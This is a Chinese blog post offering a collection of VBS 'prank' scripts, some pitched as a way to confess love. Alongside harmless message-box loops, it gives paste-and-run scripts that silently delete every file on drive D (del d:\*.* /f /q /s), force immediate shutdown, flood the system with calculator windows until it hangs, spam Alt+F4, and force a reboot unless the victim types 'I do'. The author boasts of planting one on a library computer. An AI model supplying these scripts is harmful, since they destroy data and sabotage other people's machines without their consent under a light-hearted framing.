loader
11 Dec , 2018

VBS整人代码大集合,学会用VBS来编小程序对心仪的女神表白

author

昵称最烦了 下载之家

shape animated shape animated shape animated

使用第三方账号注册

使用手机号/邮箱注册

今天小编给大家带来一个小小的恶搞程序,每个装windows的系统都有的,那就是VBS编辑器。其实VBS本身是用作编程用的,但是我们今天可以学习用文本文档的方式编出高逼格的小程序。

VBS整人代码大集合,学会用VBS来编小程序对心仪的女神表白

VBS整人代码一:

打开txt文件,复制以下代码粘贴进去(可以修改中文部分,其它代码不要动!)。保存并关闭txt文件。

msgbox("做我女朋友好吗?")
msgbox("房产证上写你名字")
msgbox("保大")
msgbox("我妈会游泳")

然后把文件后缀名改成.vbs,这是最基本的,没有逻辑。

若新建的txt文件不显示“.txt”,可随便打开一个文件夹,再点击【查看】,在【文件扩展名】前面打勾即可。

VBS整人代码二:

我就用这个程序放在学校图书馆查询书刊的机器上,好多人都那它没办法,哈哈 

do 
msgbox "You are foolish!" 
loop

VBS整人代码三:

打开无数个计算器,直到死机 

set wsh=createobject("wscript.shell") 
do 
wsh.run "calc" 
loop

VBS整人代码四

直接关机 

dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "shutdown -f -s -t 00",0 ,true

VBS整人代码五:

删除D:\所有文件 

dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

VBS整人代码六:

不断弹出窗口 。复制代码 代码如下:

while(1) 
msgbox "哈哈 你被耍了!" 
loop

VBS整人代码七

不断按下alt+f4 (开什么都关闭……) 。复制代码 代码如下:

dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
while(1) 
WSHshell.SendKeys "%{F4}" 
loop

VBS整人代码八:

按500次回车 。(以上代码在运行者的电脑上显示500个对话框。其中 do until s=500 ,500可以随意更改) 

复制代码 代码如下:

dim s 
do until s=500 
s=s+1 
msgbox "哥们,给我按500次回车吧",64 
loop

VBS整人代码九:

关不掉的窗口 。复制代码 代码如下:

WScript.Echo("嘿,谢谢你打开我哦,我等你很久拉!"&TSName) 
WScript.Echo("你是可爱的小朋吗?") 
WScript.Echo("哈,我想你拉,这你都不知道吗?") 
WScript.Echo("怎么才来,说~是不是不关心我") 
WScript.Echo("哼,我生气拉,等你这么久,心都凉啦。") 
WScript.Echo("小强很生气,后果很严重哦。") 
WScript.Echo("嘿嘿!你也会很惨滴哦") 
WScript.Echo("是不是想清除我?") 
WScript.Echo("那你要点上50下哦,不过会给你惊喜滴") 
WScript.Echo("还剩49下,快点点哦") 
WScript.Echo("还剩48下,快点,小笨蛋!") 
WScript.Echo("还剩47下对,就这样快点点!") 
WScript.Echo("还剩46下。你啊就是笨,要快哦,我先不打扰你工作。") 
WScript.Echo("还剩45下,记得要快哦!") 
WScript.Echo("还剩43下") 
WScript.Echo("还剩42下") 
WScript.Echo("还剩41下") 
WScript.Echo("还剩40下") 
WScript.Echo("还剩39下") 
WScript.Echo("还剩38下") 
WScript.Echo("还剩37下") 
WScript.Echo("还剩36下") 
WScript.Echo("还剩35下") 
WScript.Echo("还剩34下") 
WScript.Echo("还剩33下") 
WScript.Echo("还剩32下") 
WScript.Echo("还剩30下") 
WScript.Echo("还剩29下") 
WScript.Echo("还剩28下") 
WScript.Echo("还剩27下") 
WScript.Echo("还剩26下") 
WScript.Echo("还剩25下") 
WScript.Echo("还剩24下") 
WScript.Echo("还剩23下") 
WScript.Echo("还剩22下") 
WScript.Echo("还剩21下") 
WScript.Echo("还剩20下") 
WScript.Echo("还剩19下") 
WScript.Echo("还剩18下") 
WScript.Echo("还剩17下") 
WScript.Echo("还剩16下") 
WScript.Echo("还剩15下") 
WScript.Echo("还剩14下") 
WScript.Echo("还剩13下停停!!!慢点,我有话要说") 
WScript.Echo("还剩12下,你继续点我就会消失滴") 
WScript.Echo("还剩11下,以后就看不到我拉。555555") 
WScript.Echo("还剩10下,你现在可以选择停止!") 
WScript.Echo("还剩9下。你还点啊,不要我拉?") 
WScript.Echo("还剩8下,有点伤心拉,干嘛丢弃人家") 
WScript.Echo("还剩7下。疯了,你有点负意!") 
WScript.Echo("还剩6下。对。你就点吧,我恨你!") 
WScript.Echo("还剩5下,不明白,删除我你就好吗?") 
WScript.Echo("还剩4下!真要删除我?") 
WScript.Echo("还剩3下。可是我真的很眷恋你。。。") 
WScript.Echo("还剩2下。不要这么绝情嘛,人家是爱你的!") 
WScript.Echo("还剩1下。哼,既然你这么绝情。也别怪我无义!!!") 
WScript.Echo("我本因该消失的,不过我留恋你滴芳容,上帝又给了一次机会。") 
WScript.Echo("想结素我么?那你就再多点一次") 
WScript.Echo("想结素我么?那你就再多点一次") 
WScript.Echo("想结素我么?那你就再多点一次") 
WScript.Echo("想结素我么?那你就再多点一次") 
WScript.Echo("想结素我么?那你就再多点一次") 
WScript.Echo("想结素我么?那你就再多点一次") 
WScript.Echo("想结素我么?那你就再多点一次") 
WScript.Echo("想结素我么?那你就再多点一次") 
WScript.Echo("想结素我么?那你就再多点一次") 
WScript.Echo("想结素我么?那你就再多点一次")

VBS整人代码九:

最后一个可以向女表白的哟!!!

on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 180 -c ""三分钟内决定是否嫁给我,否则会被关机......"" ",0 ,true 
dim a
do while(a <> "我愿意")
a = inputbox ("你愿意嫁给我么","爱的表白","",8000,7000)
if( a <> "我愿意" ) then
msgbox "不愿意么?再考虑一下哦"
loop
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true 
msgbox "哈哈哈哈,好乖"

里面的汉字自己改成合适的。如果对方不愿意,真的会被关机哦,请谨慎使用。

使用方法:

将第一段示例或者第二段示例复制到一个新建的文本文档中,保存。然后修改文本文档的后缀为vbs,

如果会弹出弹窗,就表明成功了。

第一种示例比较简单,大家可以随意修改里面的字,也可以加更多段msgbox带括号的那种。

第二种示例中也可以在第三行前面随意增加,不管加多少行都行,不过第二个示例如果她选择拒绝就会被关机,怕是你要被打。

Tips:除了中文用全角,其他全用半角格式输入!

好了,以上就是关于“VBS整人代码大集合,学会用VBS来编小程序对心仪的女神表白”,最近很多抖友们都在问txt,vbs表白代码怎么生成的?非常的有创意哦!更是技术宅专用的表白方式!感兴趣的你赶紧来学习一下吧!

Robin Binar Themeix

Onubia, turpis inceptos pharetra. Ipsum erat rutrum, luctus non rhoncus quam quisque posuere, eros pede leo facilisis at risus. Ea sit consectetuer suscipit pede hac purus, erat nec

猜你喜欢

WinSxS是什么,C盘WinSxS是什么文件夹?

11 Dec , 2018

2018-12-11 00:01

mac下安装composer,macos系统下全局安装composer

11 Dec , 2018

2018-12-11 00:11

区块链是什么,区块链到底是什么意思,看完这段话就懂了

11 Dec , 2018

2018-12-11 00:19

wireshark使用教程,网络抓包工具wireshark中文版使用教程

11 Dec , 2018

2018-12-11 00:48

VBS整人代码大集合,学会用VBS来编小程序对心仪的女神表白

11 Dec , 2018

2018-12-11 02:06

网友评论 ( 0 条评论 )

评论